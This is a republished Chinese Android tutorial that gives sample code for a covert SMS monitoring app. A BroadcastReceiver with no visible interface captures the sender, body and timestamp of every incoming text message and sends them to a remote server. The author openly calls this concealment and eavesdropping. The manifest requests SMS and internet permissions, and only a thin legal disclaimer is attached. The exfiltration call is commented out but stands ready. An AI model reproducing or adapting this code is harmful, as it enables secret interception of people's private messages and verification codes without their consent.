android短信监听工具(示例代码)
android短信监听工具(示例代码)
发布时间:2016-12-28 来源:查字典编辑
摘要:在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。由于是“监听程序”,所以就不需要建立Activi...

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。

复制代码 代码如下:

package cn.itcast.sms;

import java.sql.Date;

import java.text.SimpleDateFormat;

import java.util.HashMap;

import java.util.Map;

import cn.itcast.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsMessage;

import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {

//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听

@Override

public void onReceive(Context context, Intent intent) {

Object[] pduses = (Object[])intent.getExtras().get("pdus");

for(Object pdus : pduses){

byte[] pdusmessage = (byte[]) pdus;//没一条短信

SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);

String mobile = sms.getOriginatingAddress();//得到电话号码

String content = sms.getMessageBody();//得到短信的内容

Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间

//2009-10-12 12:21:23

SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式

String sendtime = format.format(date);

Map<String, String> params = new HashMap<String, String>();

params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里

params.put("mobile", mobile);

params.put("content", content);

params.put("sendtime", sendtime);

try {//利用socket向服务器发送窃听到的内容

//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");

} catch (Exception e) {

Log.e("SMSBroadcastReceiver", e.toString());

}

}

}

}

注意修改Android项目文件的配置

复制代码 代码如下:

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="cn.itcast.sms"

android:versionCode="1"

android:versionName="1.0">

<application android:icon="@drawable/icon" android:label="@string/app_name">

<receiver android:name=".SMSBroadcastReceiver">

<intent-filter>

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

</application>

<uses-sdk android:minSdkVersion="8" />

<uses-permission android:name="android.permission.RECEIVE_SMS"/><>

<>

<uses-permission android:name="android.permission.INTERNET"/>

</manifest>

最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;



当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:

复制代码 代码如下:

//生成广播处理

smsBroadCastReceiver = new SmsBroadCastReceiver();

//实例化过滤器并设置要过滤的广播

IntentFilter intentFilter = new IntentFilter();

intentFilter.addAction(SMS_ACTION);

//注册广播

BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安卓软件开发学习
热门安卓软件开发学习
编程开发子分类